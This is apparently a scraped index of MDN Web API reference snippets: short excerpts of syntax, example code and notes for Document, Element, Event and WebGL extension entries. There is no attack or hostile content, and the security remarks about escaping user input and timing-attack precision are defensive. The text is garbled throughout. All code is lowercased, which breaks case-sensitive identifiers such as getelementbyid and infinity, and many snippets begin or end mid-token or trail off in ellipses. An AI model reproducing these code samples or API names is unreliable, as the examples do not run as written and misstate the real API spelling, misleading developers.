syntax var deviceorientationevent = new deviceorientationevent(type[, options]) parameters type either "deviceorientation" or "deviceorientationabsolute".
DeviceProximityEvent - Web APIs
examples window.addeventlistener('deviceproximity', function(event) { console.log("value: " + event.value, "max: " + event.max, "min: " + event.min); }); ...
DisplayMediaStreamConstraints.video - Web APIs
always the mouse is always visible in the video content of the {domxref("mediastream"), unless the mouse has moved outside the area of the content.
Document.URL - Web APIs
WebAPIDocumentURL
syntax const url = document.url example javascript document.getelementbyid("url").textcontent = document.url; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'document.url' in that specification.
Document.body - Web APIs
WebAPIDocumentbody
syntax const objref = document.body document.body = objref example // given this html: <body id="oldbodyelement"></body> alert(document.body.id); // "oldbodyelement" const anewbodyelement = document.createelement("body"); anewbodyelement.id = "newbodyelement"; document.body = anewbodyelement; alert(document.body.id); // "newbodyelement" notes document.body is the element that contains the content for the document.
Document.caretRangeFromPoint() - Web APIs
= document.caretrangefrompoint(e.clientx, e.clienty); textnode = range.startcontainer; offset = range.startoffset; } // only split text_nodes if (textnode && textnode.nodetype == 3) { let replacement = textnode.splittext(offset); let br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } let paragraphs = document.getelementsbytagname("p"); for (let i = 0; i < paragraphs.length; i++) { paragraphs[i].addeventlistener('click', insertbreakatpoint, false); } result ...
Document.close() - Web APIs
WebAPIDocumentclose
syntax document.close(); example // open a document to write to it document.open(); // write the content of the document document.write("<p>the one and only content.</p>"); // close the document document.close(); specifications specification status comment html living standardthe definition of 'document.close()' in that specification.
Document.createAttribute() - Web APIs
example var node = document.getelementbyid("div1"); var a = document.createattribute("my_attrib"); a.value = "newval"; node.setattributenode(a); console.log(node.getattribute("my_attrib")); // "newval" specifications specification status comment domthe definition of 'document.createattribute()' in that specification.
Document.createCDATASection() - Web APIs
will throw a ns_error_dom_invalid_character_err exception if one tries to submit the closing cdata sequence ("]]>") as part of the data, so unescaped user-provided data cannot be safely used without with this method getting this exception (createtextnode() can often be used in its place).
Document.createDocumentFragment() - Web APIs
html <ul id="ul"> </ul> javascript var element = document.getelementbyid('ul'); // assuming ul exists var fragment = document.createdocumentfragment(); var browsers = ['firefox', 'chrome', 'opera', 'safari', 'internet explorer']; browsers.foreach(function(browser) { var li = document.createelement('li'); li.textcontent = browser; fragment.appendchild(li); }); element.appendchild(fragment);...
Document.createEvent() - Web APIs
possible event types include "uievents", "mouseevents", "mutationevents", and "htmlevents".
Document.createTouch() - Web APIs
var target = document.getelementbyid("target"); var touch1 = document.createtouch(window, target, 1, 15, 20, 35, 40); var touch2 = document.createtouch(window, target, 2, 25, 30, 45, 50); specifications specification status comment touch eventsthe definition of 'document.createtouch()' in that specification.
Document.createTouchList() - Web APIs
var target = document.getelementbyid("target"); // create some touch points var touch1 = document.createtouch(window, target, 1, 15, 20, 35, 40); var touch2 = document.createtouch(window, target, 2, 25, 30, 45, 50); // create an empty touchlist objects var list0 = document.createtouchlist(); // create a touchlist with only one touch object var list1 = document.createtouchlist(touch1); // create a list with two touch objects var li...
Document.currentScript - Web APIs
syntax var curscriptelement = document.currentscript; example this example checks to see if the script is being executed asynchronously: if (document.currentscript.async) { console.log("executing asynchronously"); } else { console.log("executing synchronously"); } view live examples specifications specification status comment html living standardthe definition of 'document.currentscript' in that specification.
Document: cut event - Web APIs
the cut event is fired when the user has initiated a "cut" action through the browser's user interface.
Document.doctype - Web APIs
WebAPIDocumentdoctype
example var doctypeobj = document.doctype; console.log( "doctypeobj.name: " + doctypeobj.name + "\n" + "doctypeobj.internalsubset: " + doctypeobj.internalsubset + "\n" + "doctypeobj.publicid: " + doctypeobj.publicid + "\n" + "doctypeobj.systemid: " + doctypeobj.systemid ); notes the property returns null if there is no dtd associated with the current document.
Document.documentURI - Web APIs
syntax const uri = document.documenturi example javascript document.getelementbyid("url").textcontent = document.documenturi; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'documenturi' in that specification.
Document: dragover event - Web APIs
bubbles yes cancelable yes default action reset the current drag operation to "none".
Document.exitFullscreen() - Web APIs
document.onclick = function (event) { if (document.fullscreenelement) { document.exitfullscreen() .then(() => console.log("document exited form full screen mode")) .catch((err) => console.error(err)) } else { document.documentelement.requestfullscreen(); } } note: for a more complete example, see the example in element.requestfullscreen().
Document.getBoxObjectFor() - Web APIs
example var mydiv = document.getelementbyid("mydiv"), boxobj = document.getboxobjectfor (mydiv); alert ( "x:" + boxobj.x + ", y:" + boxobj.y + ", width:" + boxobj.width + ", height:" + boxobj.height ); notes specified in nsixuldocument.idl ...
Document.getElementsByName() - Web APIs
example <!doctype html> <html lang="en"> <title>example: using document.getelementsbyname</title> <input type="hidden" name="up"> <input type="hidden" name="down"> <script> var up_names = document.getelementsbyname("up"); console.log(up_names[0].tagname); // displays "input" </script> </html> notes the name attribute can only be applied in (x)html documents.
Document.hasFocus() - Web APIs
WebAPIDocumenthasFocus
html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = 'this document has the focus.'; body.style.background = '#fff'; } else { log.textcontent = 'this document does not ha...
Document.head - Web APIs
WebAPIDocumenthead
example <!doctype html> <head id="my-document-head"> <title>example: using document.head</title> </head> <script> var thehead = document.head; console.log(thehead.id); // "my-document-head"; console.log( thehead === document.queryselector("head") ); // true </script> notes document.head is read-only.
Document.hidden - Web APIs
WebAPIDocumenthidden
syntax var boolean = document.hidden examples document.addeventlistener("visibilitychange", function() { console.log( document.hidden ); // modify behavior...
Document.images - Web APIs
WebAPIDocumentimages
the following are equivalent: firstimage = imagecollection.item(0); firstimage = imagecollection[0]; example this example looks through the list of images and finds one whose name is "banner.gif".
Document.implementation - Web APIs
syntax domimpobj = document.implementation; example var modname = "html"; var modver = "2.0"; var conformtest = document.implementation.hasfeature( modname, modver ); alert( "dom " + modname + " " + modver + " supported?: " + conformtest ); // alerts with: "dom html 2.0 supported?: true" if dom level 2 html module is supported.
Document.importNode() - Web APIs
example const iframe = document.queryselector("iframe"); const oldnode = iframe.contentwindow.document.getelementbyid("mynode"); const newnode = document.importnode(oldnode, true); document.getelementbyid("container").appendchild(newnode); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document: keypress event - Web APIs
<p>press inside this iframe first to focus it, then try pressing keys on the keyboard.</p> <p id="log"></p> const log = document.getelementbyid('log'); document.addeventlistener('keypress', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeypress equivalent document.onkeypress = logkey; specifications specification status ui events working draft ...
Document.links - Web APIs
WebAPIDocumentlinks
example var links = document.links; for(var i = 0; i < links.length; i++) { var linkhref = document.createtextnode(links[i].href); var linebreak = document.createelement("br"); document.body.appendchild(linkhref); document.body.appendchild(linebreak); } specifications specification status comment html living standardthe definition of 'document.links' in that specification.
Document.onbeforescriptexecute - Web APIs
example function starting(e) { logmessage("starting script with id: " + e.target.id); } document.addeventlistener("beforescriptexecute", starting, true); view live examples specification html5 ...
Document.onfullscreenchange - Web APIs
example document.onfullscreenchange = function ( event ) { console.log("full screen change") }; document.documentelement.onclick = function () { // requestfullscreen() must be in an event handler or it will fail document.documentelement.requestfullscreen(); } specifications specification status comment fullscreen apithe definition of 'onfullscreenchange' in that specification.
Document.onfullscreenerror - Web APIs
document.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
Document.ononline - Web APIs
WebAPIDocumentononline
(note: using window.ononline or window.onoffline will not work for compatibility reasons.) by specifying ononline="..." or onoffline="..." attributes on the <body> tag in the html markup.
Document.onvisibilitychange - Web APIs
example document.onvisibilitychange = function() { console.log("visibility of page has changed!"); }; specifications specification status comment page visibility (second edition)the definition of 'onvisibilitychange' in that specification.
Document.origin - Web APIs
WebAPIDocumentorigin
syntax var origin = document.origin; examples var origin = document.origin; // on this page, returns:'https://developer.mozilla.org' var origin = document.origin; // on "about:blank", returns:'null' var origin = document.origin; // on "data:text/html,<b>foo</b>", returns:'null' ...
Document: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
Document: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
Document.queryCommandEnabled() - Web APIs
example var flg = document.querycommandenabled("selectall"); if(flg) { document.execcommand("selectall", false, null); // command is enabled, run it } specifications specification status comment execcommand ...
Document.queryCommandSupported() - Web APIs
notes the 'paste' command return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action [1] example var flg = document.querycommandsupported("selectall"); if(flg) { // ...do something } specifications specification status comment execcommand ...
Document: readystatechange event - Web APIs
bubbles no cancelable no interface event event handler property onreadystatechange examples live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } ...
Document.registerElement() - Web APIs
here is one way to add content to the new tag: var mytag = document.getelementsbytagname("my-tag")[0]; mytag.textcontent = "i am a my-tag element."; ...
Document.styleSheetSets - Web APIs
example given an <ul> (list) element with the id "sheetlist", you can populate it with the names of all the available style sheet sets with code like this: let list = document.getelementbyid('sheetlist'); let sheets = document.stylesheetsets; list.innerhtml = ''; for (let i = 0; i < sheets.length; i++) { let item = document.createelement('li'); item.innerhtml = sheets[i]; list.appendchild(item); } notes the list of available style sheet sets is constructed by enumerating all the style sheets available for the document, in the order in which they're listed...
Document.title - Web APIs
WebAPIDocumenttitle
example <!doctype html> <html> <head> <title>hello world!</title> </head> <body> <script> alert(document.title); // displays "hello world!" document.title = "goodbye world!"; alert(document.title); // displays "goodbye world!" </script> </body> </html> notes this property applies to html, svg, xul, and other documents in gecko.
Document.visibilityState - Web APIs
syntax var string = document.visibilitystate examples document.addeventlistener("visibilitychange", function() { console.log( document.visibilitystate ); // modify behavior...
Document.vlinkColor - Web APIs
syntax color = document.vlinkcolor document.vlinkcolor = color parameters color is a string representing the color as a word (e.g., "red") or hexadecimal value (e.g., "#ff0000").
Document.width - Web APIs
WebAPIDocumentwidth
syntax pixels = document.width; example function init() { alert("the width of the document is " + document.width + " pixels."); } alternatives document.body.clientwidth /* width of <body> */ document.documentelement.clientwidth /* width of <html> */ window.innerwidth /* window's width */ specification html5 ...
DocumentFragment.querySelectorAll() - Web APIs
examples this example returns a list of all div elements within the documentfragment with a class of either "note" or "alert": var matches = documentfrag.queryselectorall("div.note, div.alert"); specifications specification status comment selectors api level 1the definition of 'documentfragment.queryselectorall' in that specification.
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
efrompoint(e.clientx, e.clienty); textnode = range.startcontainer; offset = range.startoffset; } // only split text_nodes if (textnode.nodetype == 3) { var replacement = textnode.splittext(offset); var br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } window.onload = function (){ var paragraphs = document.getelementsbytagname("p"); for (i=0 ; i < paragraphs.length; i++) { paragraphs[i].addeventlistener("click", insertbreakatpoint, false); } }; specifications specification status comment css object model (cssom) view modulethe definition of 'caretpositionfrompoint()' in that specification.
DocumentOrShadowRoot.elementFromPoint() - Web APIs
html <p id="para1">some text here</p> <button onclick="changecolor('blue');">blue</button> <button onclick="changecolor('red');">red</button> the html provides the paragraph whose color will be affected, as well as two buttons: one to change the color to blue, and another to change the color to red.
DocumentOrShadowRoot.nodeFromPoint() - Web APIs
examples html content <div> <p>some text</p> </div> <p>top node at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.nodefrompoint) { var node = document.nodefrompoint(30, 20); output.textcontent += node.localname; } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.nodefrompoint()</code>" + "</span>"; } specifications not part of any specificat...
Events and the DOM - Web APIs
html attribute <button onclick="alert('hello world!')"> the javascript code in the attribute is passed the event object via the event parameter.
DragEvent() - Web APIs
drageventinitoptional is a drageventinit dictionary, having the following fields: "datatransfer", optional and defaults to "null".
DragEvent.dataTransfer - Web APIs
} dragtarget.addeventlistener("dragend", function(ev) { // call the drag and drop data processor if (ev.datatransfer !== null) processdata(ev.datatransfer); }, false); specifications specification status comment html living standardthe definition of 'dragevent.datatransfer' in that specification.
DynamicsCompressorNode() - Web APIs
knee: a decibel value representing the range above the threshold where the curve smoothly transitions to the "ratio" portion.
DynamicsCompressorNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor dynamicscompressornode() creates a new instance of an dynamicscompressornode object.
EXT_frag_depth - Web APIs
examples enable the extension: gl.getextension('ext_frag_depth'); now the output variable gl_fragdepthext is available to set a depth value of a fragment from within the fragment shader: <script type="x-shader/x-fragment"> void main() { gl_fragcolor = vec4(1.0, 0.0, 1.0, 1.0); gl_fragdepthext = 0.5; } </script> specifications specification status comment ext_frag_depththe definition of 'ext_frag_depth' in that specification.
EXT_shader_texture_lod - Web APIs
c2 dpdy) vec4 texture2dprojgradext(sampler2d sampler, vec3 p, vec2 dpdx, vec2 dpdy) vec4 texture2dprojgradext(sampler2d sampler, vec4 p, vec2 dpdx, vec2 dpdy) vec4 texturecubegradext(samplercube sampler, vec3 p, vec3 dpdx, vec3 dpdy) examples enabling the extensions: gl.getextension('ext_shader_texture_lod'); shader code that avoids artifacts when wrapping texture coordinates: <script type="x-shader/x-fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment ...
EffectTiming.delay - Web APIs
var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'delay' in that specification.
EffectTiming.easing - Web APIs
var spriteframes = [ { transform: 'translatey(0)' }, { transform: 'translatey(-100%)' } ]; // get the element that represents alice and the red queen var redqueen_alice_sprite = document.getelementbyid('red-queen_and_alice_sprite'); // animate alice and the red queen using steps() var redqueen_alice = redqueen_alice_sprite.animate( spriteframes, { easing: 'steps(7, end)', direction: "reverse", duration: 600, playbackrate: 1, iterations: infinity }); specifications specification status comment web animationsthe definition of 'easing' in that specification.
EffectTiming.iterations - Web APIs
examples in the forgotten key example, alice waves her arm up and down the entire time the page is open by passing infinity as the value for her iterations property: // get alice's arm, and wave it up and down document.getelementbyid("alice_arm").animate([ { transform: 'rotate(10deg)' }, { transform: 'rotate(-40deg)' } ], { easing: 'steps(2, end)', iterations: infinity, direction: 'alternate', duration: 600 }); specifications specification status comment web animationsthe definition of 'iterations' in that specification.
Element: MSGestureTap event - Web APIs
the msgesturetap event is fired when the user "taps" the pointing device (e.g., touches the touch surface with their finger, taps the touch surface with a pen device, clicks with a mouse).
Element: MSManipulationStateChanged event - Web APIs
examples // listen for panning state change events outerscroller.addeventlistener("msmanipulationstatechanged", function(e) { // check to see if they lifted while pulled to the top if (e.currentstate == ms_manipulation_state_inertia && outerscroller.scrolltop === 0) { refreshitemsasync(); } }); specifications not part of any specification.
Element.accessKey - Web APIs
WebAPIElementaccessKey
to work around this, browsers implement accesskey behavior if the keys are pressed with other "qualifying" keys (such as alt + accesskey).
Element: auxclick event - Web APIs
justify-content: center; align-items: center; margin: 0; } button { border: 0; background-color: white; font-size: 8vw; display: block; width: 100%; height: 100%; } h1 { letter-spacing: 0.5rem; } result note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when any of the non-left mouse buttons are clicked (usually including any "special" buttons on gaming mice).
Element.computedStyleMap() - Web APIs
<p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a little bit of css a { --colour: red; color: var(--colour); } we add javascript to grab our link and return back a definition list of all the css property values using computedstylemap().
Element: contextmenu event - Web APIs
html <p id="nocontextmenu">the context menu has been disabled on this paragraph.</p> <p>but it has not been disabled on this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.preventdefault(); }); result specifications specification status comment html living standardthe definition of 'contextmenu...
Element: copy event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (even...
Element.currentStyle - Web APIs
* http://creativecommons.org/publicdomain/zero/1.0/ */ if (!("currentstyle" in element.prototype)) { object.defineproperty(element.prototype, "currentstyle", { get: function() { return window.getcomputedstyle(this); } }); } specification not part of any specification.
Element: error event - Web APIs
examples live example html <div class="controls"> <button id="img-error" type="button">generate image error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; ...
Element: focusin event - Web APIs
bubbles yes cancelable no interface focusevent event handler property onfocusin sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specificati...
Element: focusout event - Web APIs
bubbles yes cancelable no interface focusevent event handler property onfocusout sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specificati...
Element.getAttributeNode() - Web APIs
example // html: <div id="top" /> let t = document.getelementbyid("top"); let idattr = t.getattributenode("id"); alert(idattr.value == "top") notes when called on an html element in a dom flagged as an html document, getattributenode lower-cases its argument before proceeding.
Element.getAttributeNodeNS() - Web APIs
== example == tbd the example needs to be fixed pre> // html: <div id="top" /> t = document.getelementbyid("top"); specialnode = t.getattributenodens( "http://www.mozilla.org/ns/specialspace", "id"); // inode.value = "full-top" </pre notes getattributenodens is more specific than getattributenode in that it allows you to specify attributes that are part of a particular namespace.
Element.getElementsByTagName() - Web APIs
the special string "*" represents all elements.
Element.hasAttribute() - Web APIs
example var foo = document.getelementbyid("foo"); if (foo.hasattribute("bar")) { // do something } polyfill ;(function(prototype) { prototype.hasattribute = prototype.hasattribute || function(name) { return !!(this.attributes[name] && this.attributes[name].specified); } })(element.prototype); notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods fo...
Element.hasAttributeNS() - Web APIs
example // check that the attribute exists before you set a value var d = document.getelementbyid("div1"); if (d.hasattributens( "http://www.mozilla.org/ns/specialspace/", "special-align")) { d.setattribute("align", "center"); } notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods f...
Element.insertAdjacentHTML() - Web APIs
example // <div id="one">one</div> var d1 = document.getelementbyid('one'); d1.insertadjacenthtml('afterend', '<div id="two">two</div>'); // at this point, the new structure is: // <div id="one">one</div><div id="two">two</div> notes security considerations when inserting html into a page by using insertadjacenthtml(), be careful not to use user input that hasn't been escaped.
Element: keypress event - Web APIs
<div> <label for="sample">focus the input and type something:</label> <input type="text" name="text" id="sample"> </div> <p id="log"></p> const log = document.getelementbyid('log'); const input = document.queryselector('input'); input.addeventlistener('keypress', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeypress equivalent input.onkeypress = logkey; specifications spe...
Element: mousedown event - Web APIs
html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the c...
Element: mousemove event - Web APIs
html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the c...
Element: mouseup event - Web APIs
html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the c...
Element: msContentZoom event - Web APIs
bubbles unknown cancelable unknown interface unknown event handler property unknown example contentzoom.addeventlistener("mscontentzoom", function(e) { zoomfactor.value = contentzoom.mscontentzoomfactor.tofixed(2); }); specifications not part of any specification.
Element.msZoomTo() - Web APIs
WebAPIElementmsZoomTo
this method has no scrolling effect on non-scrollable elements and no zooming effect on non-zoomable elements (e.g., elements with "-ms-content-zooming: none").
Element.name - Web APIs
WebAPIElementname
syntax htmlelement.name = string let elname = htmlelement.name let fcontrol = htmlformelement.elementname let controlcollection = htmlformelement.elements.elementname example <form action="" name="forma"> <input type="text" value="foo"> </form> <script type="text/javascript"> // get a reference to the first element in the form let formelement = document.forms['forma'].elements[0] // give it a name formelement.name = 'inputa' // show the value of the input alert(document.forms['forma'].elements['inputa'].value) </script> notes in internet explorer (ie), the name...
Element.onfullscreenchange - Web APIs
function togglefullscreen() { let elem = document.queryselector("video"); elem.onfullscreenchange = handlefullscreenchange; if (!document.fullscreenelement) { elem.requestfullscreen().then({}).catch(err => { alert(`error attempting to enable full-screen mode: ${err.message} (${err.name})`); }); } else { document.exitfullscreen(); } } function handlefullscreenchange(event) { let elem = event.target; let isfullscreen = document.ful...
Element.onfullscreenerror - Web APIs
since full-screen mode changes are only permitted in response to a user input, this causes an error to occur, which triggers the delivery of the fullscreenerror event to the error handler, let elem = document.queryselector("video")}} elem.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
Element.releasePointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center; background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { s...
Element.removeAttribute() - Web APIs
directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - example // given: <div id="div1" align="left" width="200px"> document.getelementbyid("div1").removeattribute("align"); // now: <div id="div1" width="200px"> specifications specification status comment domthe definition of 'element" removeattribute' in that specification.
Element.removeAttributeNS() - Web APIs
example // given: // <div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace" // special:specialalign="utterleft" width="200px" /> d = document.getelementbyid("div1"); d.removeattributens("http://www.mozilla.org/ns/specialspace", "specialalign"); // now: <div id="div1" width="200px" /> notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 met...
Element.removeAttributeNode() - Web APIs
example // given: <div id="top" align="center" /> var d = document.getelementbyid("top"); var d_align = d.getattributenode("align"); d.removeattributenode(d_align); // align is now removed: <div id="top" /> notes if the removed attribute has a default value, it is immediately replaced.
Element.scrollIntoViewIfNeeded() - Web APIs
example var element = document.getelementbyid("my-el"); element.scrollintoviewifneeded(); element.scrollintoviewifneeded(true); // centers the element in the visible area specifications not part of any specification.
Element.scrollLeft - Web APIs
example html <div id="container"> <div id="content">click the button to slide right!</div> </div> <button id="slide" type="button">slide right</button> css #container { width: 100px; height: 100px; border: 1px solid #ccc; overflow-x: scroll; } #content { width: 250px; background-color: #ccc; } javascript const button = document.getelementbyid('slide'); button.onclick = function () { document.gete...
Element.scrollTop - Web APIs
WebAPIElementscrollTop
it has no overflow or if the element has a property of "non-scrollable"), scrolltop is 0.
Element.scrollWidth - Web APIs
example <!doctype html> <html> <head> <title>example</title> <style> div { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #adiv { width: 100px; } button { margin-bottom: 2em; } </style> </head> <body> <div id="adiv"> foobar-foobar-foobar-foobar </div> <button id="abutton"> check for overflow </button> <div id="anotherdiv"> foobar-foobar-foobar-foobar </div> <button id="anotherbutton"> check for overflow </button> </body> <script> var buttonone = document.getelementbyid('abutton'), buttontwo = document.getelementbyid('anotherbutton'...
Element.setAttributeNS() - Web APIs
"namespace:localname".
Element.setAttributeNode() - Web APIs
html <div id="one" align="left">one</div> <div id="two">two</div> javascript let d1 = document.getelementbyid('one'); let d2 = document.getelementbyid('two'); let a = d1.getattributenode('align'); d2.setattributenode(a.clonenode(true)); // returns: 'left' alert(d2.attributes[1].value); notes if the attribute named already exists on the element, that attribute is replaced with the new one and the replaced one is returned.
Element.setPointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center; background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { s...
Element: show event - Web APIs
bubbles no cancelable no interface event event handler property onshow examples <div contextmenu="test"></div> <menu type="context" id="test"> <menuitem label="alert" onclick="alert('the alert label has been clicked')" /> </menu> <script> document.getelementbyid("test").addeventlistener("show", function(e){ alert("the context menu will be displayed"); }, false); </script> specifications specification status html5the definition of 'show event' in that specification.
Element.slot - Web APIs
WebAPIElementslot
here is one such example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the name of the corresponding <slot> element.
Element: webkitmouseforcedown event - Web APIs
after a mousedown event has been fired at the element, if and when sufficient pressure has been applied to the mouse or trackpad button to qualify as a "force click," safari begins sending webkitmouseforcedown events to the element.
Element: webkitmouseforceup event - Web APIs
the non-standard webkitmouseforceup event is fired by safari at an element some time after the webkitmouseforcedown event, when pressure on the button has been reduced sufficiently to end the "force click".
Event() - Web APIs
WebAPIEventEvent
example // create a look event that bubbles up and cannot be canceled const evt = new event("look", {"bubbles":true, "cancelable":false}); document.dispatchevent(evt); // event can be dispatched from any element, not only the document mydiv.dispatchevent(evt); specifications specification status comment domthe definition of 'event()' in that specification.
Event.composed - Web APIs
WebAPIEventcomposed
looks like this, for example: customelements.define('open-shadow', class extends htmlelement { constructor() { super(); let pelem = document.createelement('p'); pelem.textcontent = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(pelem); } }); we then insert one of each element into our page: <open-shadow text="i have an open shadow root"></open-shadow> <closed-shadow text="i have a closed shadow root"></closed-shadow> then include a click event listener on the <html> element: document.queryselector('html').addeventlistener('click',function(e) { console.log(e.composed); console.log(e.composedpath()); }); when you click on the <open-shadow> element and then the <closed-shadow> element, you'll notic...
Event.composedPath() - Web APIs
looks like this, for example: customelements.define('open-shadow', class extends htmlelement { constructor() { super(); let pelem = document.createelement('p'); pelem.textcontent = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(pelem); } }); we then insert one of each element into our page: <open-shadow text="i have an open shadow root"></open-shadow> <closed-shadow text="i have a closed shadow root"></closed-shadow> then include a click event listener on the <html> element: document.queryselector('html').addeventlistener('click',function(e) { console.log(e.composed); console.log(e.composedpath()); }); when you click on the <open-shadow> element and then the <closed-shadow> element, you'll notic...
Event.defaultPrevented - Web APIs
html <p><a id="link1" href="#link1">visit link 1</a></p> <p><a id="link2" href="#link2">try to visit link 2</a> (you can't)</p> <p id="log"></p> javascript function stoplink(event) { event.preventdefault(); } function logclick(event) { const log = document.getelementbyid('log'); if (event.target.tagname === 'a') { if (event.defaultprevented) { log.innertext = 'sorry, but you cannot visit this...
Event.explicitOriginalTarget - Web APIs
function mycommand(ev) { alert(ev.explicitoriginaltarget.nodename); // returns 'menuitem' } <xul:command id="my-cmd-anaction" oncommand="mycommand(event);"/> <xul:menulist> <xul:menupopup> <xul:menuitem label="get my element name!" command="my-cmd-anaction"/> </xul:menupopup> </menulist> specifications this is a mozilla-specific property.
Event.srcElement - Web APIs
WebAPIEventsrcElement
initially implemented in internet explorer, event.srcelement is a now-standard alias (defined in the dom standard but flagged as "historical") for the event.target property.
Event.timeStamp - Web APIs
WebAPIEventtimeStamp
</p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelementbyid("time"); time.firstchild.nodevalue = event.timestamp; } document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get rounded depending on browser settings.
Event.type - Web APIs
WebAPIEventtype
